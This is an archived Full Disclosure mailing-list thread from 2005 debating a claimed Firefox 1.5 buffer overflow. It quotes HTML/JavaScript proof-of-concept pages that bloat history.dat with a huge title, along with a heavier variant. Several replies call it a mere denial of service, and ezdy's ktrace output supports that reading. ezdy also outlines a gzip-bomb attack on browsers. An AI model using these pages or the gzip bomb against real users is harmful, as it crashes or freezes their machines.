Full Disclosure mailing list archives

Re: Firefox 1.5 buffer overflow (poc) - more buffer "overflows" waiting to be discovered


From: Fósforo <fosforo () gmail com>
Date: Fri, 9 Dec 2005 23:44:54 -0300

It works here.

seems it depends on how much ram you've. i got 2 blue screens, after
changed the code a bit. the first one was about MEMORY_MANAGEMENT and
the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
without user interaction, the second one i just've opened firefox, not
the bug file (maybe cache ?)

ps: i've 1Gb of ram

<html><head><title>heh</title><script type="text/javascript">
function ex() {
       var buffer = "";
       for (var i = 0; i < 5000; i++) {
               buffer += "A";
       }
       var buffer2 = buffer;
       var buffer3 = buffer2;
       for (i = 0; i < 500; i++) {
               buffer2 += buffer;
               for (i = 0; i < 500; i++) {
                        buffer3 += buffer2;
               }
       }
       document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>



2006/1/31, ezdy <ezdy () mac com>:
and theres no reason for it to be working.
first let's see what's going on - i loaded provided html in firefox
and quitted it.
even quitting firefox took a while, but only slightly longer than usual.
after starting firefox again, it indeed didn't load, stuck in some
kind of disk loop ignoring all macosx ui events.
but not swapping. alright, that's strange:

ezdy@devastace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
bin
ezdy@devastace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
tail -100
...
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21a000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "\\"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21c000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "A"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "A"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21e000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)

this repeats virtually ad-infinitum until end of history.dat is reached.
note that there is never allocated any memory-the same buffer is
always used, thus no memory leak.
firefox is stuck in loop (and eventually starts, since the string is
finite, in my case
about 30M) but it took way too longer to load. im not a windows user
but since mac is only
step away from it (you know apple, let's take win95 and freebsd and
mix it together) my guess is
it is the same situation of keeping main thread busy and events
cannot be passed down, eventualy
leading to "application is not responding" killbox.

for Z1PL0CK:
Don't stop, keep posting fake "buffer overflows" of #darknet
trademonkeys (this one actually looked funny in the beggining).
This time you made it to get /.ed which is not a bad start, but yo
gonna fly higher!

Because this bug got killed, i've something better for you:
dd if=/dev/zero a 2GB file and gzip it. then just write a php script
which sets content-encoding: gzip and
fpassthru the file. safari rendered 1.2gb system unresponsible in 5
seconds, firefox in about 30. both crashed
on "overflows" like this:

Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
failed (error code=3)
Safari(233,0xa000ed68) malloc: *** error: can't allocate region
Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
debug

for those interested i can send coredumps

now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
pollute browser's heap with shellcode: yah, this
is a good way).

sheesh. is this some 'who invent a stupidier dos attack against
browser' contest of some sort or what?

On 8.12.2005, at 20:51, Matt wrote:

Didn't work here, just made the system go a bit sluggish for a
moment, as you would expect when dealing with a 2.5  million
character string.

Firefox :
Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
Firefox/1.5
Built with :
gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
Window manager:
KDE 3.5.0

Possibly it is crashing the Windows API ?

--
Matt


On 12/9/05, Ron <iago () valhallalegends com > wrote:I was also unable
to replicate it, on Firefox 1.5 i386 Linux EN

ad () heapoverflow com wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

nor a fake , nor you really dont know what is a buffer overflow,
but for
sure here on my firefox 1.5 EN, the client is much longuer to
load to
the next boot but it reloads fine without exceptions and there is
nothing about a security bug here...


<!-- Firefox 1.5 buffer overflow

Basically firefox logs all kinda of URL data in it's history.dat
file,
this little script will set a really large topic and Firefox
will then
save that topic into it's history.dat.. The next time that
firefox is
opened, it will instantly crash due to a buffer overflow -- this
will
happen everytime until you manually delete the history.dat file
-- >which
most users won't figure out.

this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.

Tested with Firefox 1.5 on Windows XP SP2.

ZIPLOCK <sickbeatz () gmail com>

-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
     var buffer = "";
     for (var i = 0; i < 5000; i++) {
             buffer += "A";
     }
     var buffer2 = buffer;
     for (i = 0; i < 500; i++) {
             buffer2 += buffer;
     }
     document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex
();">CLICK ME
</a></body></html>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)

iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
/Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
IFxjTMn8Sc0=
=SX09
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



--

----------------------------------------------

"O  caminho  do  homem  de  bem  é  cercado de
todos os lados  pelas  iniqüidades do  egoísmo
e tirania  dos homens maus.  Abençoados os que,
em  nome da caridade e  boa vontade,  conduzem
os  fracos pelo  vale das  sombras, pois ele é
o  guardião  de seu irmão e o  que encontra os
filhos perdidos. E eu vou  atacar com vingança
e fúria  os que tentarem  envenenar e destruir
meus irmãos. E quando minha vingança se abater
sobre  eles,  saberão  que  eu sou  o Senhor."

(Ezequiel, 25, 17)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: